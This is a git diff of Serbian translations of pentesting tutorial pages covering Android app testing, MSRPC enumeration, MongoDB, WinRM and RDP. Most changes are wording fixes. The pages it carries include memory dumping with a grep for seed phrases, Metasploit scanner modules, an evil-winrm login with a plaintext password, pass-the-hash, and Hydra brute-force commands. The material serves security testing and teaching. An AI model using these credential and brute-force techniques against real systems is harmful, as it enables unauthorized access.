### **Dump Memorija - Fridump**
|
||||
### **Dump Memorije - Fridump**
|
||||
|
||||
Proverite da li aplikacija čuva osetljive informacije unutar memorije koje ne bi trebala da čuva, kao što su lozinke ili mnemoničke fraze.
|
||||
|
||||
|
@ -501,7 +501,7 @@ python3 fridump3.py -u <PID>
|
|||
frida-ps -Uai
|
||||
python3 fridump3.py -u "<Name>"
|
||||
```
|
||||
Ovo će isprazniti memoriju u ./dump folder, i tamo možete pretraživati sa nečim poput:
|
||||
Ovo će isprazniti memoriju u ./dump folderu, a tamo možete koristiti grep sa nečim poput:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -511,7 +511,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
|
|||
|
||||
### **Osetljivi podaci u Keystore-u**
|
||||
|
||||
U Androidu, Keystore je najbolje mesto za čuvanje osetljivih podataka, međutim, uz dovoljno privilegija, još uvek je **moguće pristupiti mu**. Kako aplikacije obično čuvaju **osetljive podatke u čistom tekstu**, pentestovi bi trebali proveriti to kao root korisnik ili neko ko ima fizički pristup uređaju mogao bi biti u mogućnosti da ukrade ove podatke.
|
||||
U Androidu, Keystore je najbolje mesto za čuvanje osetljivih podataka, međutim, uz dovoljno privilegija, još uvek je **moguće pristupiti mu**. Kako aplikacije obično čuvaju **osetljive podatke u čistom tekstu**, pentestovi bi trebali proveriti to kao root korisnik ili neko sa fizičkim pristupom uređaju mogao bi biti u mogućnosti da ukrade ove podatke.
|
||||
|
||||
Čak i ako aplikacija čuva podatke u keystore-u, podaci bi trebali biti enkriptovani.
|
||||
|
||||
|
@ -537,7 +537,7 @@ Međutim, ako ovaj snimak sadrži **osetljive informacije**, neko ko ima pristup
|
|||
|
||||
Snimci se obično čuvaju na: **`/data/system_ce/0/snapshots`**
|
||||
|
||||
Android pruža način da se **spreči snimanje ekrana postavljanjem FLAG\_SECURE** parametra rasporeda. Korišćenjem ove oznake, sadržaj prozora se tretira kao siguran, sprečavajući da se pojavi na snimcima ekrana ili da se vidi na nesigurnim ekranima.
|
||||
Android pruža način da se **spreči hvatanje ekrana postavljanjem FLAG\_SECURE** parametra rasporeda. Korišćenjem ove oznake, sadržaj prozora se tretira kao siguran, sprečavajući da se pojavi na snimcima ekrana ili da se vidi na nesigurnim ekranima.
|
||||
```bash
|
||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
```
|
||||
|
@ -547,20 +547,20 @@ Ovaj alat može pomoći u upravljanju različitim alatima tokom dinamičke anali
|
|||
|
||||
### Intent Injection
|
||||
|
||||
Programeri često kreiraju proxy komponente kao što su aktivnosti, servisi i prijemnici emitovanja koji obrađuju ove Intente i prosleđuju ih metodama kao što su `startActivity(...)` ili `sendBroadcast(...)`, što može biti rizično.
|
||||
Programeri često kreiraju proxy komponente kao što su aktivnosti, servisi i emitovani prijemnici koji obrađuju ove Intente i prosleđuju ih metodama kao što su `startActivity(...)` ili `sendBroadcast(...)`, što može biti rizično.
|
||||
|
||||
Opasnost leži u omogućavanju napadačima da aktiviraju neizvezene komponente aplikacije ili pristupe osetljivim provajderima sadržaja preusmeravanjem ovih Intenta. Značajan primer je `WebView` komponenta koja konvertuje URL-ove u `Intent` objekte putem `Intent.parseUri(...)` i zatim ih izvršava, što može dovesti do zlonamernih Intent injekcija.
|
||||
|
||||
### Essential Takeaways
|
||||
|
||||
* **Intent Injection** je sličan problemu Open Redirect na webu.
|
||||
* Eksploati uključuju prosleđivanje `Intent` objekata kao dodataka, koji mogu biti preusmereni da izvrše nesigurne operacije.
|
||||
* Eksploati uključuju prosleđivanje `Intent` objekata kao dodataka, koji se mogu preusmeriti da izvrše nesigurne operacije.
|
||||
* Može izložiti neizvezene komponente i provajdere sadržaja napadačima.
|
||||
* Konverzija URL-a u `Intent` u `WebView` može olakšati nepredviđene radnje.
|
||||
* Konverzija URL-a u `Intent` kod `WebView`-a može olakšati nepredviđene radnje.
|
||||
|
||||
### Android Client Side Injections and others
|
||||
|
||||
Verovatno znate o ovim vrstama ranjivosti sa weba. Morate biti posebno oprezni sa ovim ranjivostima u Android aplikaciji:
|
||||
Verovatno znate o ovakvim ranjivostima sa weba. Morate biti posebno oprezni sa ovim ranjivostima u Android aplikaciji:
|
||||
|
||||
* **SQL Injection:** Kada se bavite dinamičkim upitima ili Content-Providers, osigurajte da koristite parametarske upite.
|
||||
* **JavaScript Injection (XSS):** Proverite da li je podrška za JavaScript i Plugin onemogućena za bilo koje WebViews (onemogućena po defaultu). [Više informacija ovde](webview-attacks.md#javascript-enabled).
|
||||
|
@ -570,7 +570,7 @@ Verovatno znate o ovim vrstama ranjivosti sa weba. Morate biti posebno oprezni s
|
|||
|
||||
***
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru da komunicirate sa iskusnim hakerima i lovcima na greške!
|
||||
|
||||
|
@ -648,7 +648,7 @@ receivers
|
|||
```
|
||||
**HTTP alati**
|
||||
|
||||
Kada se http saobraćaj uhvati, možete videti ružan prikaz uhvaćenog saobraćaja na "**HTTP(S) Saobraćaj**" donjem delu ili lepši prikaz u "**Start HTTPTools**" zelenom dugmetu. Iz druge opcije, možete **poslati** **uhvaćene zahteve** na **proksije** kao što su Burp ili Owasp ZAP.\
|
||||
Kada se http saobraćaj uhvati, možete videti ružan prikaz uhvaćenog saobraćaja na "**HTTP(S) Traffic**" dnu ili lepši prikaz na "**Start HTTPTools**" zelenom dnu. Iz druge opcije, možete **poslati** **uhvaćene zahteve** na **proksije** kao što su Burp ili Owasp ZAP.\
|
||||
Da biste to uradili, _uključite Burp -->_ _isključite Intercept --> u MobSB HTTPTools izaberite zahtev_ --> pritisnite "**Send to Fuzzer**" --> _izaberite adresu proksija_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
|
||||
Kada završite dinamičku analizu sa MobSF, možete pritisnuti na "**Start Web API Fuzzer**" da **fuzz-ujete http zahteve** i tražite ranjivosti.
|
||||
|
@ -673,7 +673,7 @@ Ovo je **sjajan alat za izvođenje statičke analize sa GUI-jem**
|
|||
|
||||
### [Qark](https://github.com/linkedin/qark)
|
||||
|
||||
Ovaj alat je dizajniran da traži nekoliko **ranjivosti vezanih za sigurnost Android aplikacija**, bilo u **izvor kodu** ili **pakovanim APK-ima**. Alat je takođe **sposoban da kreira "Proof-of-Concept" deployable APK** i **ADB komande**, da iskoristi neke od pronađenih ranjivosti (Izložene aktivnosti, intencije, tapjacking...). Kao i sa Drozer-om, nije potrebno root-ovati test uređaj.
|
||||
Ovaj alat je dizajniran da traži nekoliko **ranjivosti vezanih za bezbednost Android aplikacija**, bilo u **izvor kodu** ili **pakovanim APK-ima**. Alat je takođe **sposoban da kreira "Proof-of-Concept" deployable APK** i **ADB komande**, da iskoristi neke od pronađenih ranjivosti (Izložene aktivnosti, intencije, tapjacking...). Kao i sa Drozer-om, nije potrebno root-ovati test uređaj.
|
||||
```bash
|
||||
pip3 install --user qark # --user is only needed if not using a virtualenv
|
||||
qark --apk path/to/my.apk
|
||||
|
@ -682,7 +682,7 @@ qark --java path/to/specific/java/file.java
|
|||
```
|
||||
### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git)
|
||||
|
||||
* Prikazuje sve ekstrahovane datoteke radi lakšeg referenciranja
|
||||
* Prikazuje sve ekstrahovane datoteke za laku referencu
|
||||
* Automatski dekompajlira APK datoteke u Java i Smali format
|
||||
* Analizira AndroidManifest.xml za uobičajene ranjivosti i ponašanje
|
||||
* Staticka analiza izvornog koda za uobičajene ranjivosti i ponašanje
|
||||
|
@ -697,7 +697,7 @@ SUPER je aplikacija za komandnu liniju koja se može koristiti na Windows, MacOS
|
|||
|
||||
Sva pravila su centrirana u `rules.json` datoteci, a svaka kompanija ili tester može kreirati svoja pravila za analizu onoga što im je potrebno.
|
||||
|
||||
Preuzmite najnovije binarne datoteke sa [stranice za preuzimanje](https://superanalyzer.rocks/download.html)
|
||||
Preuzmite najnovije binarne datoteke sa [strane za preuzimanje](https://superanalyzer.rocks/download.html)
|
||||
```
|
||||
super-analyzer {apk_file}
|
||||
```
|
||||
|
@ -725,7 +725,7 @@ androbugs.exe -f [APK file]
|
|||
|
||||
**Androwarn** je alat čija je glavna svrha da detektuje i upozori korisnika na potencijalno zloćudno ponašanje koje razvija Android aplikacija.
|
||||
|
||||
Detekcija se vrši **statističkom analizom** Dalvik bytecode-a aplikacije, predstavljenog kao **Smali**, uz pomoć biblioteke [`androguard`](https://github.com/androguard/androguard).
|
||||
Detekcija se vrši **statčkom analizom** Dalvik bytecode-a aplikacije, predstavljenog kao **Smali**, uz pomoć biblioteke [`androguard`](https://github.com/androguard/androguard).
|
||||
|
||||
Ovaj alat traži **uobičajeno ponašanje "loših" aplikacija** kao što su: Ekstrakcija telekomunikacionih identifikatora, presretanje audio/video toka, modifikacija PIM podataka, izvršavanje proizvoljnog koda...
|
||||
```
|
||||
|
@ -735,7 +735,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
|||
|
||||
![](<../../.gitbook/assets/image (595).png>)
|
||||
|
||||
**MARA** je **M**obila **A**plikacija **R**everzno inženjerstvo i **A**naliza Framework. To je alat koji okuplja često korišćene alate za reverzno inženjerstvo i analizu mobilnih aplikacija, kako bi pomogao u testiranju mobilnih aplikacija protiv OWASP mobilnih bezbednosnih pretnji. Njegov cilj je da olakša ovaj zadatak i učini ga prijatnijim za programere mobilnih aplikacija i stručnjake za bezbednost.
|
||||
**MARA** je **M**obila **A**plikacija **R**everzno inženjerstvo i **A**naliza okvir. To je alat koji okuplja uobičajene alate za reverzno inženjerstvo i analizu mobilnih aplikacija, kako bi pomogao u testiranju mobilnih aplikacija protiv OWASP mobilnih bezbednosnih pretnji. Njegov cilj je da ovu zadatak učini lakšim i prijatnijim za programere mobilnih aplikacija i stručnjake za bezbednost.
|
||||
|
||||
Može da:
|
||||
|
||||
|
@ -756,7 +756,7 @@ Imajte na umu da zavisno od usluge i konfiguracije koju koristite za obfuskaciju
|
|||
|
||||
### [ProGuard](https://en.wikipedia.org/wiki/ProGuard\_\(software\))
|
||||
|
||||
Sa [Wikipedia](https://en.wikipedia.org/wiki/ProGuard\_\(software\)): **ProGuard** je open source alat za komandnu liniju koji smanjuje, optimizuje i obfuskira Java kod. U stanju je da optimizuje bajtkod kao i da detektuje i ukloni neiskorišćene instrukcije. ProGuard je besplatan softver i distribuira se pod GNU General Public License, verzija 2.
|
||||
Sa [Vikipedije](https://en.wikipedia.org/wiki/ProGuard\_\(software\)): **ProGuard** je open source alat za komandnu liniju koji smanjuje, optimizuje i obfuskira Java kod. U stanju je da optimizuje bajtkod kao i da detektuje i ukloni neiskorišćene instrukcije. ProGuard je besplatan softver i distribuira se pod GNU General Public License, verzija 2.
|
||||
|
||||
ProGuard se distribuira kao deo Android SDK-a i pokreće se prilikom izgradnje aplikacije u režimu objavljivanja.
|
||||
|
||||
|
@ -764,17 +764,17 @@ ProGuard se distribuira kao deo Android SDK-a i pokreće se prilikom izgradnje a
|
|||
|
||||
Pronađite vodič korak po korak za deobfuskaciju apk-a na [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
|
||||
|
||||
(Prema tom vodiču) Poslednji put kada smo proveravali, Dexguard način rada je bio:
|
||||
(Prema tom vodiču) Poslednji put kada smo proveravali, način rada Dexguard-a bio je:
|
||||
|
||||
* učitati resurs kao InputStream;
|
||||
* proslediti rezultat klasi koja nasleđuje FilterInputStream da bi ga dekriptovali;
|
||||
* uraditi neku beskorisnu obfuskaciju da bi se izgubilo nekoliko minuta vremena od reverzera;
|
||||
* proslediti dekriptovani rezultat ZipInputStream-u da bi dobili DEX datoteku;
|
||||
* konačno učitati dobijeni DEX kao Resurs koristeći metodu `loadDex`.
|
||||
* proslediti dekriptovani rezultat ZipInputStream-u da bi se dobio DEX fajl;
|
||||
* konačno učitati dobijeni DEX kao resurs koristeći metodu `loadDex`.
|
||||
|
||||
### [DeGuard](http://apk-deguard.com)
|
||||
|
||||
**DeGuard preokreće proces obfuskacije koji izvode Android alati za obfuskaciju. Ovo omogućava brojne analize bezbednosti, uključujući inspekciju koda i predikciju biblioteka.**
|
||||
**DeGuard obrnuta proces obfuskacije koji izvode Android alati za obfuskaciju. Ovo omogućava brojne analize bezbednosti, uključujući inspekciju koda i predikciju biblioteka.**
|
||||
|
||||
Možete da otpremite obfuskovani APK na njihovu platformu.
|
||||
|
||||
|
@ -788,13 +788,13 @@ APKiD vam daje informacije o **kako je APK napravljen**. Identifikuje mnoge **ko
|
|||
|
||||
### Manual
|
||||
|
||||
[Pročitajte ovaj tutorijal da naučite neke trikove o **kako da reverzujete prilagođenu obfuskaciju**](manual-deobfuscation.md)
|
||||
[Pročitajte ovaj tutorijal da naučite neke trikove o **kako da obrnuto inženjerstvo prilagođene obfuskacije**](manual-deobfuscation.md)
|
||||
|
||||
## Labs
|
||||
|
||||
### [Androl4b](https://github.com/sh4hin/Androl4b)
|
||||
|
||||
AndroL4b je Android bezbednosna virtuelna mašina zasnovana na ubuntu-mate koja uključuje kolekciju najnovijih framework-a, tutorijala i labova od različitih bezbednosnih entuzijasta i istraživača za reverzno inženjerstvo i analizu malvera.
|
||||
AndroL4b je Android bezbednosna virtuelna mašina zasnovana na ubuntu-mate koja uključuje kolekciju najnovijih okvira, tutorijala i laboratorija od različitih bezbednosnih entuzijasta i istraživača za reverzno inženjerstvo i analizu malvera.
|
||||
|
||||
## References
|
||||
|
||||
|
@ -810,7 +810,7 @@ AndroL4b je Android bezbednosna virtuelna mašina zasnovana na ubuntu-mate koja
|
|||
* [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
|
||||
* [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
|
||||
|
@ -54,7 +54,7 @@ Annotation: Messenger Service
|
|||
UUID: 00000000-0000-0000-0000-000000000000
|
||||
Binding: ncadg_ip_udp:<IP>[1028]
|
||||
```
|
||||
Pristup RPC lokatorskoj usluzi omogućen je putem specifičnih protokola: ncacn\_ip\_tcp i ncadg\_ip\_udp za pristup preko porta 135, ncacn\_np za SMB veze, i ncacn\_http za web-baziranu RPC komunikaciju. Sledeće komande ilustruju korišćenje Metasploit modula za audite i interakciju sa MSRPC uslugama, prvenstveno fokusirajući se na port 135:
|
||||
Pristup RPC locator servisu je omogućen putem specifičnih protokola: ncacn\_ip\_tcp i ncadg\_ip\_udp za pristup preko porta 135, ncacn\_np za SMB veze, i ncacn\_http za web-baziranu RPC komunikaciju. Sledeće komande ilustruju korišćenje Metasploit modula za audiranje i interakciju sa MSRPC servisima, prvenstveno fokusirajući se na port 135:
|
||||
```bash
|
||||
use auxiliary/scanner/dcerpc/endpoint_mapper
|
||||
use auxiliary/scanner/dcerpc/hidden
|
||||
|
@ -68,28 +68,28 @@ All options except `tcp_dcerpc_auditor` are specifically designed for targeting
|
|||
|
||||
* **IFID**: 12345778-1234-abcd-ef00-0123456789ab
|
||||
* **Named Pipe**: `\pipe\lsarpc`
|
||||
* **Description**: LSA interfejs, koristi se za enumeraciju korisnika.
|
||||
* **Description**: LSA interfejs, korišćen za enumeraciju korisnika.
|
||||
* **IFID**: 3919286a-b10c-11d0-9ba8-00c04fd92ef5
|
||||
* **Named Pipe**: `\pipe\lsarpc`
|
||||
* **Description**: LSA interfejs za usluge direktorijuma (DS), koristi se za enumeraciju domena i odnosa poverenja.
|
||||
* **Description**: LSA interfejs za usluge direktorijuma (DS), korišćen za enumeraciju domena i odnosa poverenja.
|
||||
* **IFID**: 12345778-1234-abcd-ef00-0123456789ac
|
||||
* **Named Pipe**: `\pipe\samr`
|
||||
* **Description**: LSA SAMR interfejs, koristi se za pristup javnim elementima SAM baze podataka (npr. korisnička imena) i brute-force napade na lozinke korisnika bez obzira na politiku zaključavanja naloga.
|
||||
* **Description**: LSA SAMR interfejs, korišćen za pristup javnim elementima SAM baze podataka (npr. korisnička imena) i brute-force lozinkama korisnika bez obzira na politiku zaključavanja naloga.
|
||||
* **IFID**: 1ff70682-0a51-30e8-076d-740be8cee98b
|
||||
* **Named Pipe**: `\pipe\atsvc`
|
||||
* **Description**: Planer zadataka, koristi se za daljinsko izvršavanje komandi.
|
||||
* **Description**: Planer zadataka, korišćen za daljinsko izvršavanje komandi.
|
||||
* **IFID**: 338cd001-2244-31f1-aaaa-900038001003
|
||||
* **Named Pipe**: `\pipe\winreg`
|
||||
* **Description**: Usluga daljinskog registra, koristi se za pristup i modifikaciju sistemskog registra.
|
||||
* **Description**: Usluga daljinskog registra, korišćena za pristup i modifikaciju sistemskog registra.
|
||||
* **IFID**: 367abb81-9844-35f1-ad32-98f038001003
|
||||
* **Named Pipe**: `\pipe\svcctl`
|
||||
* **Description**: Menadžer kontrole usluga i server usluga, koristi se za daljinsko pokretanje i zaustavljanje usluga i izvršavanje komandi.
|
||||
* **Description**: Menadžer kontrole usluga i server usluga, korišćen za daljinsko pokretanje i zaustavljanje usluga i izvršavanje komandi.
|
||||
* **IFID**: 4b324fc8-1670-01d3-1278-5a47bf6ee188
|
||||
* **Named Pipe**: `\pipe\srvsvc`
|
||||
* **Description**: Menadžer kontrole usluga i server usluga, koristi se za daljinsko pokretanje i zaustavljanje usluga i izvršavanje komandi.
|
||||
* **Description**: Menadžer kontrole usluga i server usluga, korišćen za daljinsko pokretanje i zaustavljanje usluga i izvršavanje komandi.
|
||||
* **IFID**: 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57
|
||||
* **Named Pipe**: `\pipe\epmapper`
|
||||
* **Description**: DCOM interfejs, koristi se za brute-force napade na lozinke i prikupljanje informacija putem WM.
|
||||
* **Description**: DCOM interfejs, korišćen za brute-force lozinke i prikupljanje informacija putem WM.
|
||||
|
||||
### Identifying IP addresses
|
||||
|
||||
|
@ -117,7 +117,7 @@ The **rpcdump.exe** from [rpctools](https://resources.oreilly.com/examples/97805
|
|||
* [https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/](https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/)
|
||||
* [https://0xffsec.com/handbook/services/msrpc/](https://0xffsec.com/handbook/services/msrpc/)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
|
||||
|
@ -93,15 +93,15 @@ Pogledajte unutar _/opt/bitnami/mongodb/mongodb.conf_ da biste saznali da li su
|
|||
grep "noauth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#" #Not needed
|
||||
grep "auth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#\|noauth" #Not needed
|
||||
```
|
||||
## Mongo Objectid Predikcija
|
||||
## Predikcija Mongo Objectid
|
||||
|
||||
Primer [odavde](https://techkranti.com/idor-through-mongodb-object-ids-prediction/).
|
||||
|
||||
Mongo Object ID-ovi su **12-bajtni heksadecimalni** stringovi:
|
||||
Mongo Object ID su **12-bajtni heksadecimalni** stringovi:
|
||||
|
||||
![http://techidiocy.com/\_id-objectid-in-mongodb/](../.gitbook/assets/id-and-ObjectIds-in-MongoDB.png)
|
||||
|
||||
Na primer, evo kako možemo analizirati stvarni Object ID koji je vratio aplikacija: 5f2459ac9fa6dc2500314019
|
||||
Na primer, ovako možemo analizirati stvarni Object ID koji je vratio aplikacija: 5f2459ac9fa6dc2500314019
|
||||
|
||||
1. 5f2459ac: 1596217772 u decimalnom = Petak, 31. jul 2020. 17:49:32
|
||||
2. 9fa6dc: Identifikator mašine
|
||||
|
@ -118,18 +118,18 @@ Ako ste root, možete **modifikovati** **mongodb.conf** fajl tako da nisu potreb
|
|||
|
||||
***
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru da komunicirate sa iskusnim hakerima i lovcima na greške!
|
||||
|
||||
**Hacking Uvidi**\
|
||||
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
|
||||
**Hacking Insights**\
|
||||
Uključite se u sadržaj koji se bavi uzbuđenjem i izazovima hakovanja
|
||||
|
||||
**Vesti o Haku u Realnom Vremenu**\
|
||||
**Real-Time Hack News**\
|
||||
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
|
||||
|
||||
**Najnovija Obaveštenja**\
|
||||
Budite informisani o najnovijim nagradama za greške i važnim ažuriranjima platforme
|
||||
**Latest Announcements**\
|
||||
Budite informisani o najnovijim nagradama za greške i važnim ažuriranjima platformi
|
||||
|
||||
**Pridružite nam se na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
|
||||
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
|
||||
|
@ -74,7 +74,7 @@ Odgovor bi trebao sadržati informacije o verziji protokola i wsmid, što označ
|
|||
|
||||
### Izvrši komandu
|
||||
|
||||
Da biste izvršili `ipconfig` na daljinu na ciljnog računaru i videli njegov izlaz, uradite:
|
||||
Da biste izvršili `ipconfig` daljinski na ciljnom računaru i videli njegov izlaz, uradite:
|
||||
```powershell
|
||||
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
|
||||
```
|
||||
|
@ -143,29 +143,29 @@ Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
|
|||
|
||||
Ako pronađete sledeću grešku:
|
||||
|
||||
`enter-pssession : Connecting to remote server 10.10.10.175 failed with the following error message : The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.`
|
||||
`enter-pssession : Povezivanje sa udaljenim serverom 10.10.10.175 nije uspelo sa sledećom porukom o grešci : WinRM klijent ne može obraditi zahtev. Ako je šema autentifikacije drugačija od Kerberos-a, ili ako klijentski računar nije pridružen domeni, tada se mora koristiti HTTPS transport ili odredišna mašina mora biti dodata u TrustedHosts konfiguraciju. Koristite winrm.cmd za konfiguraciju TrustedHosts. Imajte na umu da računari na listi TrustedHosts možda neće biti autentifikovani. Možete dobiti više informacija o tome pokretanjem sledeće komande: winrm help config. Za više informacija, pogledajte temu pomoći about_Remote_Troubleshooting.`
|
||||
|
||||
Pokušajte na klijentu (informacije [ovde](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
|
||||
```ruby
|
||||
winrm quickconfig
|
||||
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru da komunicirate sa iskusnim hakerima i lovcima na greške!
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
|
||||
**Hacking Insights**\
|
||||
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
|
||||
Engage with content that delves into the thrill and challenges of hacking
|
||||
|
||||
**Real-Time Hack News**\
|
||||
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
|
||||
Keep up-to-date with fast-paced hacking world through real-time news and insights
|
||||
|
||||
**Latest Announcements**\
|
||||
Budite informisani o najnovijim nagradama za greške i važnim ažuriranjima platforme
|
||||
Stay informed with the newest bug bounties launching and crucial platform updates
|
||||
|
||||
**Pridružite nam se na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
|
||||
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
|
||||
|
||||
## WinRM konekcija u linuxu
|
||||
## WinRM veza u linuxu
|
||||
|
||||
### Brute Force
|
||||
|
||||
|
@ -189,9 +189,9 @@ Pročitajte **dokumentaciju** na njegovom github-u: [https://github.com/Hackplay
|
|||
```ruby
|
||||
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
|
||||
```
|
||||
Da biste koristili evil-winrm za povezivanje na **IPv6 adresu**, kreirajte unos unutar _**/etc/hosts**_ postavljajući **domen** na IPv6 adresu i povežite se na taj domen.
|
||||
Da biste koristili evil-winrm za povezivanje na **IPv6 adresu**, kreirajte unos unutar _**/etc/hosts**_ postavljajući **domen** na IPv6 adresu i povežite se na tu domenu.
|
||||
|
||||
### Prosledi hash sa evil-winrm
|
||||
### Pass the hash with evil-winrm
|
||||
```ruby
|
||||
evil-winrm -u <username> -H <Hash> -i <IP>
|
||||
```
|
||||
|
@ -203,7 +203,7 @@ docker run -it quickbreach/powershell-ntlm
|
|||
$creds = Get-Credential
|
||||
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds
|
||||
```
|
||||
### Korišćenje ruby skripte
|
||||
### Koristeći ruby skriptu
|
||||
|
||||
**Kod preuzet odavde:** [**https://alamot.github.io/winrm\_shell/**](https://alamot.github.io/winrm\_shell/)
|
||||
```ruby
|
||||
|
@ -263,7 +263,7 @@ end
|
|||
|
||||
* `port:5985 Microsoft-HTTPAPI`
|
||||
|
||||
## References
|
||||
## Reference
|
||||
|
||||
* [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
|
||||
|
||||
|
@ -304,7 +304,7 @@ Name: Hydra Brute Force
|
|||
Description: Need User
|
||||
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru da komunicirate sa iskusnim hakerima i lovcima na greške!
|
||||
|
||||
|
@ -315,7 +315,7 @@ Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
|
|||
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
|
||||
|
||||
**Najnovija Obaveštenja**\
|
||||
Budite informisani o najnovijim nagradama za greške i važnim ažuriranjima platforme
|
||||
Budite informisani o najnovijim nagradama za greške i važnim ažuriranjima platformi
|
||||
|
||||
**Pridružite nam se na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
|
||||
|
||||
|
|
|
@ -1,40 +1,40 @@
|
|||
# 6000 - Pentesting X11
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
